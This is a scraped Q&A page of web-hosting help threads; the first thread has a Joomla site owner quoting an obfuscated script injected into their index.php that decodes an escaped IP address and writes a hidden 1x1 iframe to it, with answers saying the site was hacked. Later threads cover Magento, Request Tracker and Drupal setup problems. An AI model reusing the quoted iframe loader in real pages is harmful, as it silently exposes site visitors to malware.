Website index.php page chnages automatically with one script in the end - web

I have seen that , this happend twice that , in my root index.php file.
I have this thing added
<html><body><script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31') + " Oaoz5='1'vxoq5='1'>";str = str.replace('vde', 'i');str =str.replace('pog', 'fr');str = str.replace('nbt', 'ame');str =str.replace('Oaoz5', 'width');str =str.replace('vxoq5','height');document.write(str);</script></body></html>
Does anyone knows what is that and how it comes.
When i tried to open my webiste in google chrome , it told me that some malacious software is trying to run from harmful website , do you want to allow it.
How ever when deleted that script then everything was ok
But this ahppedn twice in 2 weeks
Is that the virus . how can something chANGE MY CODE
i AM USING JOOMLA

You have been hacked. You should change your FTP and MYSQL passwords, upgrade to the latest version of Joomla (currently 1.5.18) and check all of your components and plugins for vulnerabilities in this list http://docs.joomla.org/Vulnerable_Extensions_List

Your site has been hacked. You'll need to make sure your Joomla installation, all of its plugins, and all the other software on the server are patched to the latest versions. If it's a shared server, your host may be able to help. Otherwise, consult your server logs.

Related

magento 2 setup on ubuntu 14 with Nagios on sub domain for monitoring and Zpanel

I am new to Linux command line and setting up Magento 2.1 on my VPS. I am thinking to setup Nagios on subdomain so i don't want any interruption on my actual domain ecommerce application.
I have few doubts which causing lot of trouble to me.
By default Zpanel comes up with lower config for Php and Mysql and to make them work with Magento 2 i have to manually upgrade them . I did that but Magento worked, whole Zpanel navigation stopped working. So i re-installed whole ubuntu Os again and ready with my box. I would also like to have Varnish Cache along with some web based console so that i can easily manage my virtual hosts and for some other stuff.
What will be the best approach to setup everything one by one on one domain/sub-domain? I have found so many articles to install magento 2 on ubuntu using command line but they dont use any webpanel. I am open to switch it to any other OS as well.
If there is sequence to setup these all, please guide.
Final Requirement:
Magento 2 with any Linux OS
Nagios server for monitoring
Web panel like CWP or Zpanel etc.
This question will be complete solution and will helpful many other users as well. All answers are highly appreciated. Thank you all in advance.
Regards
H

Configuring Request Tracker 4.0 with Apache2 on Linux Mint 14 Nadia

My coworker installed Linux Mint 14 Nadia onto a VM (using VirtualBox) and followed the following tutorial to install Apache, MySQL and PHP: http://community.linuxmint.com/tutorial/view/486. He then used the readme from http://www.bestpractical.com/rt/docs/4.0/ to install Request Tracker 4.0. Both of those went pretty well with very few hiccups along the way from what he told me. Now he's forwarded over the task to me and I'm attempting to get Request Tracker 4.0 configured correctly with the Apache server. Currently I can visit localhost and get the following message:
It works! This is the default web page for this server. The web server
software is running but no content has been added, yet.
I also configured it so when you visit localhost/rt you SHOULD see the Request Tracker interface, but I'm instead receiving the following page, and this is where I've spent most of my time stumped:
You're almost there! You haven't yet configured your webserver to run
RT. You appear to have installed RT's web interface correctly, but
haven't yet configured your web server to "run" the RT server which
powers the web interface. The next step is to edit your webserver's
configuration file to instruct it to use RT's mod_perl or FastCGI
handler. If you need commercial support, please contact us at
sales#bestpractical.com.
After a few moments it redirects me to bestpractical.com/rt/rt-broken-install.html. (only allowed 2 links apparently?)
I assume I have something misconfigured but am unsure what. I've been googling and fiddling around with this most of yesterday and today with no luck. It doesn't help that I'm fairly inexperienced with the linux environment, I'm sure.
If I understand how he installed it, he wants to set it up using FastCGI so I visited this site requesttracker.wikia.com/wiki/FastCGI and followed the guides there, but the documentation is quite awful and doesn't always line up with my environment, so I've had to put in a lot of guess and check work. I'll provide the code I've added to my config files so you see where I'm at for now
000-default in /etc/apache2/sites-enabled:
Alias /rt /opt/rt4/share/html
Alias /NoAuth/images /var/www/rt/share/html/NoAuth/images/
AddHandler fastcgi-script fcgi
ScriptAlias / /var/www/rt/sbin/rt-server.fcgi/
<Directory /opt/rt4/share/html/>
Order allow,deny
Allow from all
</Directory>
RT_SiteConfig.pm in /opt/rt4/etc:
Set($WebPath, '/rt');
Set($WebBaseURL, 'http://localhost');
If anymore information is needed, please let me know. Thanks in advance for any help!
The RT docs for web deployment give more detailed info for setting up Apache with fastcgi and for running at '/rt'. I think you'll want to initially try using the suggested Apache configurations and see if that gets you past the setup page.
(Note that those docs are available in the RT install as well in the docs directory.)

Drupal menu items and blog entries disappeared for anonymous users

I've been struggling with a problem now for a few hour and I cannot find any answers or anyone with the same problem -
Some menu items are missing on my site www.namhost.com (Drupal 6.22) and when viewing the blog it shows "No blog entries have been created". When I log in as admin everything works fine, so this problem only occurs for anonymous/guest users.
I've changed nothing on the site which may have caused this problem and here comes the really strange part - When viewing a copy of the site locally everything works 100% even for anonymous/guest users.
I've tried:
flushing caches
rebuilding permissions
checked if the "anonymous" user is present in the database
viewing on different browsers
None of these yielded any results.
Because the problem doesn't occur locally I'm starting to believe this could be a problem on the server the site is hosted on (Linux with PHP5.2), but the admins had a look and couldn't find anything.
Any help/insight would be highly appreciated.
================FIXED<<<<<<<-----------------------------
I am not allowed to answer my own question and it was suggested that I edit the question to include my answer so here goes:
Firstly, thanks for all the responses.
I disabled the "ACL" module (http://drupal.org/project/acl) and the problem was solved. It was previously used for our forum which was also disabled a few months back, so it's not needed any more.
I still have no idea why this module caused the site to work locally but not on the server. I will be in contact with the server admins to find out if they changed/updated anything on the server which may have caused this module to cause a malfunction.
Any insight could still be helpful top prevent this from happening again.
Check your Drupal config:
Are you using node_access, content_access, or any other permissions-related addon mods? Disable them and see if the problem persists. If that doesn't work, disable all non-core mods and re-enable them one-at-a-time until you find the offender.
Compare your hosting configs:
If it's not related to Drupal, compare the local and remote server configurations. Do both use the same versions of php, apache, apc, cgi, etc.? A phpinfo(); on both servers should give you the most important details for comparison. Do a similar comparison of the MySQL setup and content. Finally, check for differences in your .htaccess files (if any) between the two locations.
Test another hosting enviornment:
Download a virtual appliance like QuickStart which is already configured to host Drupal sites for development and non-production purposes, and see if the site works correctly in that. If it does, you could do an additional validation by porting to a new host who offers a trial/money-back-guarantee and see if it works correctly there.
If your site works fine elsewhere, give your current host a good thrashing for making you go through all of this to figure out the problem lies on their end.

Is it possible to run both drupal 6 and drupal 7 on local MAMP server?

I have a drupal 6 multisite setup on my local MAMP server. I don't want to upgrade these sites to drupal 7 as some of the modules have not been converted to drupal 7 yet. I would also like to start using drupal 7 on the MAMP server for new sites. However, I can't find a way to configure it so that both versions of drupal can run a multisite setup side by side (without interfering with each other).
Anyone done this with success? Any help appreciated...
Pure drupal multisite need to run the same drupal version.
You can still have your D6 in, for exemple, www/drupal6/ and your D7 in www/drupal7/, that will work.
Here is a caution, but I have not yet figured out the root of the issue (my searching for it led me to this question!). I had OpenAtrium (Drupal6) and Drupal 7 running successfully side-by-side as described above on a dev machine (separate directories, separate databases, separate etc/host domains, etc). In trying to work through an OpenAtrium image-upload issue (Clean URLs is a must), somehow, one of the admin buttons I clicked in OpenAtrium (I believe it was the OA option to repair permissions) completely trashed my Drupal 7 site. Since this was all dev/experimental, no data was lost, but be forewarned that bad things might happen.

Drupal Login goes to wrong URL :: Problem started after site migration

I just migrated a drupal 6 site from the ('normal-live') host to a MAMP (Mac (L)AMP stack). I needed to do this so a client can have 'offline' access to the site in remote areas.
I used the backup/migrate module on the live site to get an export of the db. On the MAMP setup I did a fresh install of Drupal. Then I copied the modules, files, themes, etc. to the new install. After that, using phpMyAdmin, I imported the exported (from live site) SQL file to the new install on the MAMP. At this point everything appears fine at...first glance, I can nav to the different pages as an anonymous user, etc.
My problem is that if I try to login it takes me to the old URL (instead of going to http://localhost:8888/drupal-6.20/??? it goes to the 'https://originalDomain.com/???'). If I change the $base_url in the settings.php it wants to reinstall the site (drupal installer runs), I am also using the .htaccess file that got installed w/ the fresh drupal (not the one from the live site).
I am baffled...
Since you're getting redirected from an URL starting with http to a URL starting with https, check to see if you have the Secure Pages module installed and set to redirect users.

Resources